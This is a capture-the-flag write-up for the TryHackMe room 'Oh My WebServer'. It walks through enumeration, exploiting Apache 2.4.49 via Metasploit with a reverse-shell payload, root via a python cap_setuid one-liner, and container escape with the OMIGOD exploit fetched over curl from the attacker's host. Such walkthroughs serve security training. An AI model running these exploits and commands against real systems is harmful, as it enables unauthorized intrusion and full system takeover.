Oh My WebServer - Write-up - TryHackMe

Information

Room#

  • Name: Oh My WebServer
  • Profile: tryhackme.com
  • Difficulty: Medium
  • Description: Can you root me?

Oh My WebServer

Write-up

Overview#

Install tools used in this WU on BlackArch Linux:

$ sudo pacman -S nmap lynx metasploit gtfoblookup

Network enumeration#

Port and service scan with nmap:

# Nmap 7.92 scan initiated Thu Mar 31 20:00:05 2022 as: nmap -sSVC -p- -T4 -v -oA nmap_full 10.10.56.13
Nmap scan report for 10.10.56.13
Host is up (0.040s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 e0:d1:88:76:2a:93:79:d3:91:04:6d:25:16:0e:56:d4 (RSA)
|   256 91:18:5c:2c:5e:f8:99:3c:9a:1f:04:24:30:0e:aa:9b (ECDSA)
|_  256 d1:63:2a:36:dd:94:cf:3c:57:3e:8a:e8:85:00:ca:f6 (ED25519)
80/tcp open  http    Apache httpd 2.4.49 ((Unix))
|_http-title: Consult - Business Consultancy Agency Template | Home
|_http-favicon: Unknown favicon MD5: 02FD5D10B62C7BC5AD03F8B0F105323C
| http-methods:
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.4.49 (Unix)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Mar 31 20:02:30 2022 -- 1 IP address (1 host up) scanned in 144.91 seconds

Let's add a custom domain:

$ grep 10.10.56.13 /etc/hosts
10.10.56.13 ohmyweb.thm

Web enumeration#

There are no links to some interesting features:

$ lynx -dump -listonly -nonumbers http://ohmyweb.thm/
   Visible links:
http://ohmyweb.thm/index.html
http://ohmyweb.thm/#home
http://ohmyweb.thm/#about
http://ohmyweb.thm/#services
http://ohmyweb.thm/#portfolio
http://ohmyweb.thm/#blog
http://ohmyweb.thm/#contact
http://ohmyweb.thm/#pricing
http://ohmyweb.thm/#business
http://ohmyweb.thm/#digital
http://ohmyweb.thm/#market
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/blog-details.html
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
https://uideck.com/

   Hidden links:
http://ohmyweb.thm/assets/images/protfolio-1.jpg
http://ohmyweb.thm/assets/images/protfolio-2.jpg
http://ohmyweb.thm/assets/images/protfolio-3.jpg
http://ohmyweb.thm/assets/images/protfolio-5.jpg
http://ohmyweb.thm/assets/images/protfolio-4.jpg
http://ohmyweb.thm/assets/images/protfolio-6.jpg
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/
http://ohmyweb.thm/

Let's enumerate files and folders then:

$ ffuf -u 'http://ohmyweb.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-directories-lowercase.txt -mc all -fc 404
...
assets                  [Status: 301, Size: 234, Words: 14, Lines: 8, Duration: 25ms]
                        [Status: 200, Size: 57985, Words: 25871, Lines: 1030, Duration: 25ms]

$ ffuf -u 'http://ohmyweb.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/raft-small-files-lowercase.txt -mc all -fc 404 -fs 199
...
index.html              [Status: 200, Size: 57985, Words: 25871, Lines: 1030, Duration: 27ms]
.                       [Status: 200, Size: 57985, Words: 25871, Lines: 1030, Duration: 24ms]

$ ffuf -u 'http://ohmyweb.thm/FUZZ' -c -w /usr/share/seclists/Discovery/Web-Content/quickhits.txt -mc all -fc 404 -fs 199

There is no specific page to see.

Apache httpd 2.4.49 is vulnerable to CVE-2021-41773 and CVE-2021-42013

Web exploitation#

The RCE is available on metasploit:

msf6 exploit(multi/http/apache_normalize_path_rce) > options

Module options (exploit/multi/http/apache_normalize_path_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   CVE        CVE-2021-42013   yes       The vulnerability to use (Accepted: CVE-2021-41773, CVE-2021-42013)
   DEPTH      5                yes       Depth for Path Traversal
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     ohmyweb.thm      yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /cgi-bin         yes       Base path
   VHOST                       no        HTTP server virtual host


Payload options (linux/x64/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.9.19.77       yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Automatic (Dropper)

msf6 exploit(multi/http/apache_normalize_path_rce) > run

[*] Started reverse TCP handler on 10.9.19.77:4444
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://10.10.56.13:80 - The target is vulnerable to CVE-2021-42013 (mod_cgi is enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://10.10.56.13:80 - Attempt to exploit for CVE-2021-42013
[*] http://10.10.56.13:80 - Sending linux/x64/meterpreter/reverse_tcp command payload
[*] Sending stage (3020772 bytes) to 10.10.56.13
[*] Meterpreter session 1 opened (10.9.19.77:4444 -> 10.10.56.13:45242 ) at 2022-03-31 20:20:57 +0200
[!] This exploit may require manual cleanup of '/tmp/wAIYJ' on the target

We run with the user daemon:

meterpreter > shell
Process 146 created.
Channel 1 created.

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
python3 -c 'import pty;pty.spawn("/bin/bash")'
daemon@4a70924bafa0:/bin$

Elevation of privilege (EoP): from daemon to root (docker)#

We don't see any non-daemon user in /home or /etc/passwd.

There is a /.dockerenv proving we are in a docker container.

Either with linpeas or getcap we can find binaries with capabilities.

$ daemon@4a70924bafa0:/bin$ getcap -r / 2>/dev/null
/usr/bin/python3.7 = cap_setuid+ep

Let's see how to exploit that:

$ gtfoblookup gtfobins search -c cap python
python:

    capabilities:

        Code: ./python -c 'import os; os.setuid(0);
              os.system("/bin/sh")'

It's then easy to get root access:

daemon@4a70924bafa0:/bin$ /usr/bin/python3.7 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@4a70924bafa0:/bin# id
uid=0(root) gid=1(daemon) groups=1(daemon)

root@4a70924bafa0:/bin# ls -lhA /root
total 20K
lrwxrwxrwx 1 root root      9 Oct  8 05:43 .bash_history -> /dev/null
-rw-r--r-- 1 root root    570 Jan 31  2010 .bashrc
drwxr-xr-x 3 root root   4.0K Oct  8 05:37 .cache
-rw-r--r-- 1 root root    148 Aug 17  2015 .profile
-rw------- 1 root daemon   12 Oct  8 08:28 .python_history
-rw-r--r-- 1 root root     38 Oct  8 05:47 user.txt

root@4a70924bafa0:/bin# cat /root/user.txt
THM{edited}

Elevation of privilege (EoP): from root (docker) to root (host)#

We can find the IP address of the container.

root@4a70924bafa0:/bin# cat /etc/hosts
127.0.0.1       localhost
::1     localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.17.0.2      4a70924bafa0

root@4a70924bafa0:/bin# ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 172.17.0.2  netmask 255.255.0.0  broadcast 172.17.255.255
        ether 02:42:ac:11:00:02  txqueuelen 0  (Ethernet)
        RX packets 116416  bytes 18857271 (17.9 MiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 106765  bytes 50395767 (48.0 MiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 0  bytes 0 (0.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 0  bytes 0 (0.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

Let's assume that 172.17.0.1 is the docker host.

If you don't want to import a static binary on the machine you can still use a basic alternative in bash.

for port in {1..65535}; do
  timeout 1 bash -c "echo >/dev/tcp/172.17.0.1/$port" &&
    echo "port $port is open"
done

Output:

port 22 is open
port 80 is open
port 5986 is open

On HackTricks we can learn the 5986 port is hosting the OMI service:

OMI is an open-source remote configuration management tool developed by Microsoft. OMI agents are commonly found installed on Azure Linux servers.

There is a vulnerability CVE-2021-38647 aka OMIGOD targeting this service.

So let's serve it on our host...

$ wget https://raw.githubusercontent.com/horizon3ai/CVE-2021-38647/main/omigod.py
$ ruby -run -ehttpd . -p8000

... and upload it on the target.

curl http://10.9.19.77:8000/omigod.py -o omigod.py

First, we can see it works and dump the flag.

root@4a70924bafa0:/bin# python3 omigod.py -t 172.17.0.1 -c id
uid=0(root) gid=0(root) groups=0(root)

root@4a70924bafa0:/bin# python3 omigod.py -t 172.17.0.1 -c 'cat /root/root.txt'
THM{edited}
Share